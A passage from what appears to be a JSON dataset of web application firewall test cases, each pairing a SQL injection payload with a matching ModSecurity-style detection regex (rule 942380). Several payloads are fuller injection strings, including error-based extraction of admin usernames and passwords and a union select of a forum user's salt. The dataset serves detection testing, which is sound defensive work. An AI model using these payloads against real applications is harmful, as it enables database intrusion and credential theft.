"attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "from `information_schema`.tables limit" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "ORder by" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "ordeR by" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SELECT (CASE" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "pay=FROM+termine+GROUP+BY+tag1%26sql_delimit" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SELECT 6229 FROM(SELECT COUNT(*),CONCAT(0x717a786a71,(SELECT (CASE" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SELECT CHAR(113)+CHAR(122)+CHAR(120)+CHAR(106)+CHAR(113)+(SELECT (CASE" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(122)||CHR(120)||CHR(106)||CHR(113)||(SELECT (CASE" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SELECT CONCAT(0x717a786a71,(SELECT (CASE" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SELECT (CHR(113)||CHR(122)||CHR(120)||CHR(106)||CHR(113))||(SELECT (CASE" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SELECT CHR(113)||CHR(122)||CHR(120)||CHR(106)||CHR(113)||(SELECT (CASE" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "SELECT 'qzxjq'||(SELECT (CASE" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "execute php" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user desc limit" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "Execute(" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "from+information_schema.tables+where+BINARY+LEFT%28table_name%2C+1%29+%3D+%27nnn%27+LIMIT" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "from+information_schema.tables+where+table_schema%3Ddatabase%28%29+and+table_name+REGEXP+0x6d656d6265727324+limit" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| ?(?:[0-9]{1,10} ?[<->]+|[\\\"'][^=]{1,10}[ \\\"'<-\\?\\[]+))|ex(?:ecute(?:\\(|[\\s\\x0b]{1,5}[\\$\\.0-9A-Z_a-z]{1,5}[\\s\\x0b]{0,3})|ists[\\s\\x0b]*?\\([\\s\\x0b]*?select\\b)|(?:create[\\s\\x0b]+?table.{0,20}?|like[^0-9A-Z_a-z]*?char[^0-9A-Z_a-z]*?)\\()|select.*?case|from.*?limit|order[\\s\\x0b]by|exists[\\s\\x0b](?:[\\s\\x0b]select|s(?:elect[^\\s\\x0b](?:if(?:null)?[\\s\\x0b]\\(|top|concat)|ystem[\\s\\x0b]\\()|\\bhaving\\b[\\s\\x0b]+[0-9]{1,10}|'[^=]{1,10}')", "negated": false } }, "transformations": [ "none", "urlDecodeUni" ], "attack_type": [ "attack-sqli" ], "severity": "CRITICAL" }, "metadata": { "rule_id": "942380", "test_description": "SQL Injection Attack" } }, { "input": { "malicious_payload": [ { "location": "post_body", "value": "fromtype%3DvBForum%3ASocialGroupMessage%26do%3Dprocess%26contenttypeid%3D5%26categoryid%5B%5D%3D-99%29+union+select+salt+from+user+where+userid%3D1+and+row%281%2C1%29%3E%28select+count%28%2A%29%2Cconcat%28+%28select+user.salt%29+%2C0x3a%2Cfloor%28rand%280%29%2A2%29%29+x+from+%28select+1+union+select+2+union+select+3%29a+group+by+x+limit" } ], "attack_context": { "method": "POST", "location": [ "post_body" ] } }, "output": { "detection": { "variables": [ { "name": "REQUEST_COOKIES", "part": "", "negated": false }, { "name": "REQUEST_COOKIES", "part": "/_pk_ref/", "negated": true }, { "name": "REQUEST_COOKIES_NAMES", "part": "", "negated": false }, { "name": "ARGS_NAMES", "part": "", "negated": false }, { "name": "ARGS", "part": "", "negated": false }, { "name": "XML", "part": "/*", "negated": false } ], "operator": { "type": "@rx", "argument": "(?i)\\b(?:having\\b(?:[\\s\\x0b]+(?:[0-9]{1,10}|'[^=]{1,10}')[\\s\\x0b]*?[<->]| 